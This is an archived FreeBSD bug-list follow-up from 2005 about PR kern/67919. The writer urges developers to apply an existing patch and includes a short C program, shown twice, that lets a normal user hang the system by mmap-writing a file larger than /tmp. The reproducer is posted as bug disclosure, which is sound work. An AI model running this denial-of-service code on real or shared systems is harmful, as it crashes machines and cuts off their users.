From owner-freebsd-bugs@FreeBSD.ORG Mon Oct 31 07:20:14 2005 Return-Path: X-Original-To: freebsd-bugs@hub.freebsd.org Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 16D4116A420 for ; Mon, 31 Oct 2005 07:20:14 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id C250F43D45 for ; Mon, 31 Oct 2005 07:20:13 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.3/8.13.3) with ESMTP id j9V7KDwL070429 for ; Mon, 31 Oct 2005 07:20:13 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.3/8.13.1/Submit) id j9V7KDX9070428; Mon, 31 Oct 2005 07:20:13 GMT (envelope-from gnats) Date: Mon, 31 Oct 2005 07:20:13 GMT Message-Id: <200510310720.j9V7KDX9070428@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: "Cai, Quanqing" Cc: Subject: Re: kern/67919: Why nobody take serious to fix this bug? X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: "Cai, Quanqing" List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Oct 2005 07:20:14 -0000 The following reply was made to PR kern/67919; it has been noted by GNATS. From: "Cai, Quanqing" To: freebsd-current@freebsd.org, bug-followup@FreeBSD.org Cc: Igor Sysoev , Edwin Groothuis , Uwe Doering Subject: Re: kern/67919: Why nobody take serious to fix this bug? Date: Sun, 30 Oct 2005 21:28:22 -0800 ------=_Part_29858_5728121.1130736502398 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Today I happened to read this message on freebsd-stable: http://lists.freebsd.org/pipermail/freebsd-stable/2005-October/019086.html After I read all messages and related links, I feel so frustrating, why nobody take serious to fix this bug even we have a patch for it? I can repeat this bug on 7.0-CURRENT and 6.0-RC1 easily as a normal user! System goes no response so I have to power cycle it. The patch made by Uwe Doering actually works well. This bug looks like a security hole to me:( If you guy= s don't like this patch, please give out a reason and come out a better patch or solution. For impatience, you can run this to crush your system(7.x, 6.x, 5.x), you have to increase FILELEN to a size greater than your /tmp partition: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #include #include #include #include #include #include #define FILENAME "/tmp/test" /* where to put the test file */ #define FILELEN 710 /* test file length in MB */ main() { int fd; size_t len; char *buf, *p, *lim; len =3D FILELEN * 1024 * 1024; if ((fd =3D open(FILENAME, O_RDWR|O_CREAT|O_TRUNC, 0666)) =3D=3D -1) err(2, "open() failed"); if (ftruncate(fd, len) =3D=3D -1) err(2, "ftruncate() failed"); buf =3D mmap(NULL, len, PROT_WRITE, MAP_SHARED, fd, 0); if (buf =3D=3D MAP_FAILED) err(2, "mmap() failed"); (void)close(fd); for (p =3D buf, lim =3D p + len; p < lim; p +=3D 4096) *p =3D '0'; if (munmap(buf, len) =3D=3D -1) err(2, "munmap() failed"); exit(0); } =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Cai, Quanqing ------=_Part_29858_5728121.1130736502398 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Today I happened to read this message on freebsd-stable: http://lists.freebsd.org/pipermail/freebsd-stable/2005-October/= 019086.html

After I read all messages and related links, I feel so frustrating, why nobody take serious to fix this bug even we have a patch for it? I can repeat this bug on 7.0-CURRENT and 6.0-RC1 easily as a normal user! System goes no response so I have to power cycle it. The patch made by Uwe Doering actually works well. This bug looks like a security hole to me:( If you guys don't like this patch, please give out a reason and come out a better patch or solution.

For impatience, you can run this to crush your system(7.x, 6.x, 5.x), you have to increase FILELEN to a size greater than your /tmp partition:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/types.h>
#include <sys/mman.h>

#define FILENAME        "/tmp/test&= quot;     /* where to put the test file */
#define FILELEN         710             /* test file length in MB */

main()
{
        int fd;
        size_t len;
        char *buf, *p, *lim;

        len =3D FILELEN * 1024 * 1024;
        if ((fd =3D open(FILENAME, O_RDW= R|O_CREAT|O_TRUNC, 0666)) =3D=3D -1)
            &nb= sp;   err(2, "open() failed");

        if (ftruncate(fd, len) =3D=3D -1= )
            &nb= sp;   err(2, "ftruncate() failed");

        buf =3D mmap(NULL, len, PROT_WRI= TE, MAP_SHARED, fd, 0);
        if (buf =3D=3D MAP_FAILED)
            &nb= sp;   err(2, "mmap() failed");
        (void)close(fd);

        for (p =3D buf, lim =3D p + len;= p < lim; p +=3D 4096)
            &nb= sp;   *p =3D '0';

        if (munmap(buf, len) =3D=3D -1)<= br>             &nb= sp;   err(2, "munmap() failed");

        exit(0);
}
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


Cai, Quanqing
------=_Part_29858_5728121.1130736502398--